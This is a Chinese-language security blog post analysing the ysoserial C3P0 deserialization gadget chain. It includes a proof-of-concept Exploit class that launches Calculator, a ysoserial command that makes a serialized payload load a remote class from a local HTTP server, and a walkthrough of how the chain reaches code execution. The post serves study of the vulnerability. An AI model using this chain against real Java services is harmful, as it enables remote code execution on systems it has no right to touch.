ysoserial-C3P0

2019-12-23 约 193 字 预计阅读 1 分钟

声明:本文 【ysoserial-C3P0】 由作者 l1nk3r 于 2019-12-23 11:19:01 首发 先知社区 曾经 浏览数 378 次

感谢 l1nk3r 的辛苦付出!

0x01 概述

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。

0x02 环境搭建

//pom.xml
        <!-- https://mvnrepository.com/artifact/com.mchange/c3p0 -->
        <dependency>
            <groupId>com.mchange</groupId>
            <artifactId>c3p0</artifactId>
            <version>0.9.5.2</version>
        </dependency>

0x03 漏洞复现

public class Exploit {
    public Exploit(){
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (Exception e) {

        }
    }
}
java -jar ysoserial-master-55f1e7c35c-1.jar C3P0 "http://127.0.0.1:8888/:Exploit" > test.txt
python -m SimpleHTTPServer 8888

0x04 利用链分析

public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);

        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
        return b;
    }

这里简单分享一个 ysoserial 本身的调试,知道的师傅可以略过了,debug的时候在 Program arguments 增加相关参数。

然后在 ysoserial.GeneratePayload 选择debug启动,并且在C3P0处下一个断点,自然就进来了。

首先通过 Reflections.createWithoutConstructor 构造了无参数对象,可以看到这里面只有类名,其他啥都没。

然后将对象的 connectionPoolDataSource 设置为了我们需要的 C3P0 的内部 PoolSource 对象。

但是我们都知道反序列化漏洞肯定是需要序列化生成对象,所以会和 writeObject 有关系,进入到 PoolBackedDataSourceBase ,这里首先尝试进行序列化。但是回头看看我们的开头的 PoolSource 类的定义,没有继承 Serializable 接口,所以他没办法进行序列化。根据下图中的代码逻辑,当无法进行序列化的时候,自然进入到是第三个红框中的获取 reference 。这里代码中有个 this.connectionPoolDataSource 对象,这也是为什么最开始定义 PoolSource 类的时候需要同时实现 ConnectionPoolDataSourceReferenceable

而在 ReferenceIndirector 这个类中,对象 Reference 会被 ReferenceSerialized 包装后写入到数据字节流中。

上面就是 payload 生成过程中利用链,既然是序列化生成,那么反序列化的时候自然会针对对象进行读取。在 PoolBackedDataSourceBase 中会进行readobject方法读取序列化对象中的 ReferenceSerialized 对象。

然后会调用 ReferenceIndirector#getObject 方法,读取刚刚写入的恶意类 Exploit

最后return时候经过 ReferenceableUtils.referenceToObject 处理,在 referenceToObject 看到了最终的触发点。通过刚刚传入的URL地址,加载了我们的恶意类 Exploit ,并且调用无参构造函数进行实例化,最后完成整个过程。

序列化过程:

反序列化过程:

0x05 漏洞修复

其实不能说是漏洞,应该说是利用链缓解,本以为 ysoserial 这个组件中说的 c3p0:0.9.5.2

那么下一个版本可能会有缓解措施,但是现实却是十分的骨感,我在这个地方,看到当前最高版本是0.9.5.5更新时间是2019/12

实际测试下来,依然能够使用

0x06 小结

这个利用链还是挺有趣的,有点像JDNI注入,通过获取工厂对象,重新构造ConnectionPoolDataSource,利用反序列化一步步达到自己的目的。

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now